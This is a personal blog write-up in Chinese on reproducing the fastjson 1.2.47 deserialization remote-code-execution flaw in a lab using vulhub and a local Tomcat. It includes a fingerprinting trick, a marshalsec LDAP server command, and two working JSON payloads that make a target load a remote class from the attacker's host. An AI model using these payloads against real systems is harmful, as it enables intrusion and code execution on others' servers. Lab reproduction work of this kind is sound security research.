fastjson =<1.2.47RCE漏洞研究

2021-01-23 22:12

阅读:603

标签:loading   目录   效果   实战   pat   export   net   chmod   --   

主要作为自己记录用,排版比较随意

一、测试和复现主要考虑两个条件:

  • 1.fastjson
  • 2.jdk版本在11.0.1、8u191、7u201、6u211之前
    另外,可以通过发送没闭合的json数据,通过回复包来判断目标站点是否有使用fastjson,例如提交{"@type":"c
    如上以上条件都满足,很大概率能利用成功

反序列化常用的两种利用方式

一种是基于rmi,一种是基于ldap。 RMI是一种行为,指的是Java远程方法调用。 JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。 ldap指轻量级目录访问协议。

使用RMI还是LDAP调用远程class恶意文件取决于目标机器上的JDK版本:

技术图片
可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。
本地测试确定过,jdk版本为8u251时即使fastjson版本符合要求也是利用不了的,jdk版本为8u171、fastjson1.2.47时是可以用ldap复现成功的

二、漏洞复现

2.1 使用vulhub方式

docker容器里的jdk版本,jdk8u102 ----------该jdk版本用rmi或ldap服务都可以加载远程class文件
步骤:

  • 1.1开启容器docker-compose up -d ---------在debian9.5上
  • 1.2 python2 -m SimpleHTTPServer (默认端口8000)-----在kali上
    在开启http服务的路径下,放编译好的class文件
  • 1.3使用marshalsec-0.0.3-SNAPSHOT-all.jar开启rmi或ldap服务 ---------在kali上
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.37.128:8000/#TouchFile" 9999
  • 1.4 post 利用包(确认过,ldap://192.168.37.128:9999/的后面可以接任何字符,不为空即可,不一定要是类名-----下面a或b的名字也可以任意取)
    rmi:
      {
         "b":{
              "@type":"com.sun.rowset.JdbcRowSetImpl",
              "dataSourceName":"ldap://192.168.37.128:9999/exploit",
              "autoCommit":true
          }
      }

ldap: ------------------其实这个payload是

      {
          "a":{
              "@type":"java.lang.Class",
              "val":"com.sun.rowset.JdbcRowSetImpl"
          },
          "b":{
              "@type":"com.sun.rowset.JdbcRowSetImpl",
              "dataSourceName":"ldap://192.168.37.128:9999/expdsaloit",
              "autoCommit":true
          }
      }

2.2 本地搭建tomcat+fastjson1.2.47环境进行复现

主要是靶机的搭建
debian9.5、tomcat9、fastjson1.2.47、jdk(用debian9自带的8u171或卸载自带的后自己手动装jdk8u251,区别就是能否复现成功,原因上面有讲到)

1.1 tomcat安装

https://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-9/v9.0.36/bin/apache-tomcat-9.0.36.tar.gz

tar zxvf apche-tomcat....
mv apache-tomcat.. /opt/tomcat9
chmod -R 777 tomcat9
vim /etc/profile配置环境变量(如果使用debian自带的jdk就不用了配置jdk的环境变量了,配置tomcat的即可)
	export JAVA_HOME=...(根据自己的实际情况写)
	export JRE_HOME=...
	export CLASS_PATH=...
	export PATH=...
	export CATALINA_HOME=/opt/tomcat9
source  etc/profile
unset CATALINA_HOME
cd /opt/tomcat9/bin
./catalina.sh start
2.2 复制fastjson1.2.47环境包到/opt/tomcat9/webapps (github找一下)

然后访问http://IP:8080/fastjson/查看效果

附:测试java文件
技术图片

参考链接:
https://www.t00ls.net/viewthread.php?tid=56927&highlight=fastjson
https://mp.weixin.qq.com/s/sWOuXnMd7r0q8W-sInMhGQ
https://mp.weixin.qq.com/s/i7-g89BJHIYTwaJbLuGZcQ
https://github.com/RealBearcat/FastJson-JdbcRowSetImpl-RCE
https://www.t00ls.net/viewthread.php?tid=55109&highlight=fastjson

fastjson =

标签:loading   目录   效果   实战   pat   export   net   chmod   --   

原文地址:https://www.cnblogs.com/bingogo/p/13276077.html


评论


亲,登录后才可以留言!